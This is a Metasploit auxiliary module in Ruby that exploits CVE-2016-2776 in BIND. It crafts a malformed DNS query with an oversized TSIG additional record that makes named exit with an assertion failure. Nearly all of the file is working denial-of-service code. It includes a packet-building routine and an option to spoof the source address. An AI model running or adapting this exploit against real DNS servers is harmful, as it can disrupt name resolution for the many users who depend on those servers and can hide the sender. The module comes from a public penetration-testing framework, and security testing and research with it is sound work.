##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Capture
  include Msf::Auxiliary::UDPScanner
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BIND TSIG Query Denial of Service',
      'Description'    => %q{
        A defect in the rendering of messages into packets can cause named to
        exit with an assertion failure in buffer.c while constructing a response
        to a query that meets certain criteria.

        This assertion can be triggered even if the apparent source address
        isn't allowed to make queries.
      },
      # Research and Original PoC - msf module author
      'Author'         => [
        'Martin Rocha',
        'Ezequiel Tavella',
        'Alejandro Parodi',
        'Infobyte Research Team'
      ],
      'References'     => [
        ['CVE', '2016-2776'],
        ['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html']
      ],
      'DisclosureDate' => '2016-09-27',
      'License'        => MSF_LICENSE,
      'DefaultOptions' => {'ScannerRecvWindow' => 0}
    ))

    register_options([
      Opt::RPORT(53),
      OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
    ])

    deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
  end

  def scan_host(ip)
    if datastore['SRC_ADDR']
      scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])
    else
      print_status("Sending packet to #{ip}")
      scanner_send(payload, ip, rport)
    end
  end

  def payload
    query = Rex::Text.rand_text_alphanumeric(2)  # Transaction ID: 0x8f65
    query << "\x00\x00"  # Flags: 0x0000 Standard query
    query << "\x00\x01"  # Questions: 1
    query << "\x00\x00"  # Answer RRs: 0
    query << "\x00\x00"  # Authority RRs: 0
    query << "\x00\x01"  # Additional RRs: 1

    # Domain Name
    query << get_domain   # Random DNS Name
    query << "\x00"      # [End of name]
    query << "\x00\x01"  # Type: A (Host Address) (1)
    query << "\x00\x01"  # Class: IN (0x0001)

    # Additional records. Name
    query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
    query << "\x3d"+Rex::Text.rand_text_alphanumeric(61)
    query << "\x00"

    query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
    query << "\x00\xff" # Class: ANY (0x00ff)
    query << "\x00\x00\x00\x00" # Time to live: 0
    query << "\x00\xfc" # Data length: 252

    # Algorithm Name
    query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
    query << "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
    query << "\x00"

    # Rest of TSIG
    query << "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan  1, 1970 03:15:07.000000000 ART
    query << "\x01\x2c" # Fudge: 300
    query << "\x00\x10" # MAC Size: 16
    query <<  Rex::Text.rand_text_alphanumeric(16) # MAC
    query << "\x8f\x65" # Original Id: 36709
    query << "\x00\x00" # Error: No error (0)
    query << "\x00\x00" # Other len: 0
  end

  def get_domain
    domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)
    org = "\x03"+Rex::Text.rand_text_alphanumeric(3)
    domain+org
  end
end
